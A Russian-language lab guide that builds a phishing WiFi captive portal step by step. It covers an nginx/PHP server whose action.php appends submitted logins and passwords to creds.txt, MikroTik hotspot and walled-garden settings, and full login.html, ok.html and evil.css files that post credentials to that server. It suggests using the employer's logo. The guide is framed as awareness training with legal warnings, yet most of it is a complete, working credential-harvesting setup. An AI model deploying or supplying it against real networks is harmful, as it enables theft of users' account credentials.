ЛР 2 - Авторизация WiFi

Представленная в данной лабораторной работе инструкция по настройке приведена исключительно в образовательных целях. Реализация этой или подобной схем для сбора данных попадает сразу под несколько статей административного и уголовного кодекса РФ. Автор публикует данный материал в отрытый доступ только для повышения осведомленности слушателей учебных курсов о техниках и методах атак, используемых злоумышленниками.

Подготовка сервера
  1. Установите веб-сервер nginx и демон php-fpm.
    apt install nginx php-fpm
  2. Очистите, а затем отредактируйте дефолтный конфиг:
    :> /etc/nginx/sites-available/default
    nano /etc/nginx/sites-available/default
server {
        listen 80 default_server;
        root /var/www/html;
        index index.nginx-debian.html;
        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php-fpm.sock;
                }
}       
  1. Разместите в корневой директории веб-сервера файл action.php:
    nano /var/www/html/action.php
<?php
 $path = 'creds.txt';
 if (isset($_POST['login']) && isset($_POST['password'])) {
    $fh = fopen($path,"a+");
    $string = $_POST['login'].' - '.$_POST['password']."\n";
    fwrite($fh,$string); // Write information to the file
    fclose($fh); // Close the file
    header("Location: http://10.5.50.1//ok.html"); // Hotspot IP
    exit;
 }
?>
  1. Поменяйте владельца корневой директории веб-сервера:
    chown -R www-data /var/www/*
  2. Проверьте конфиг на наличие синтаксических ошибок и перезапустите веб-сервер:
    nginx -t
    systemctl restart nginx
Настройка точки доступа
  1. Подключите точку доступа к сети с возможностью доступа к настроенному выше веб-серверу.
  2. В меню IP - DNS включите опцию Allow remote requests.
  3. В меню Bridge создайте новый bridge (например - br-hotspot).
  4. В меню Bridge - Ports добавьте к br-hotspot беспроводные интерфейсы (например - wlan1 и wlan2).
  5. В меню IP - Hotspot нажмите кнопку Hotspot Setup. Единственное поле, которое необходимо поправить в процессе - DNS Server (укажите 10.5.50.1), остальное - по дефолту.
  6. В меню IP - Hotspot - Server Profiles откройте созданный профиль хотспота (hsprof1) и на вкладке Login оставьте включенным HTTP CHAP и Trial.
  7. В меню IP - Hotspot - Walled Garden добавьте разрешающее прафило для созданного хотспота (hotspot1), указав в поле Dst.Host FQDN-имя веб-сервера.
  8. В меню Files в разделе /flash/hotspot удалите файл login.html, вместо него закачайте следующие три файла:

login.html

<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="pragma" content="no-cache">
    <meta http-equiv="expires" content="-1">
    <title>Hotspot</title>
    <link rel="stylesheet" href="evil.css">
</head>

<body>
 <br><br>
 <p align="center">  
   <table class="main" width="320" border="0" align="center"><tr><td align="center" valign="middle">
                <img src="logo.svg" width="270">
                 <br><br><br>
                 <font color="#ee3f58">Фишинговая точка доступа!<br>Только для ознакомления!</font>
                 <br><br><br>
    <form action="https://IP_OR_FQDN/action.php" method="post"> <!-- ЗАМЕНИТЕ IP_OR_FQDN -->
            <input type="text" name="login" placeholder="Ваш Email или телефон" minlength="8"><br><br>
            <input type="password" name="password" placeholder="Ваш пароль" minlength="8"><br><br><br>
            <input type="submit" value="Войти" class="enter">
    </form>
        <br><br>
  </tr></td></table>
  </p>

</body>
</html>

ok.html

<html>
<head>
<title>Успешная авторизация</title>
<meta http-equiv="refresh" content="0;URL=$(link-login-only)?dst=$(link-orig-esc)&username=T-$(mac-esc)"/>
</head>
<body>
    <p align="center">
        <font color="#2681c4">
        Ваши логин и пароль сохранены в creds.txt.
        </font>
    </p>
</body>
</html>

evil.css

a,body,html,img,label,p,span,font{margin:0;padding:0;border:0;font-family:sans-serif,Arial;color:#2681c4;font-size:16px;}
body,html{min-height:100%;overflow-x:hidden}
body{background:#ffffff;}
table.main{background:#ffffff;}
input {
    width: 75%;
    height: 32px;
    padding: 14px 16px;
    border: 0;
    border-color:#a2b8e8;
    border-radius: 8px;
    background-color:#f5f7fa;
    font-size: 14px;
    line-height: 14px;
   }
   input:focus {
    width: 75%;
    height: 32px;
    padding: 14px 16px;
    border: 0;
    border-color:#2681c4;
    border-radius: 8px;
    background-color:#ffffff;
    font-size: 14px;
    line-height: 14px;
   }
input.enter {
    display: inline-block;
    border-radius: 8px;
    border: none;
    height: 52px;
    padding: 14px 16px;
    font-size: 16px;
    color: #fff;
    background: #2681c4;
    cursor: pointer;
    width: 82%;
    text-align: center;
    vertical-align:middle;
}

В login.html присутствует ссылка на картинку logo.svg. Самостоятельно добавьте логотип вашего работодателя вместо нее.
Вы ведь следуете этой инструкции, держа под рукой письменное распоряжение генерального директора на проведение работ по тестированию на проникновение, не так ли?!

  1. Перейдите в меню Wireless и включите соответствующие беспроводные интерфейсы.
  2. В настройках беспроводных интерфейсов на вкладке Wireless выберите режим работы Mode: ap bridge и в поле SSID задайте имя беспроводной сети.

Ваш хотспот готов. Подключитесь с любого устройства по wifi и проверьте содержимое creds.txt на веб-сервере.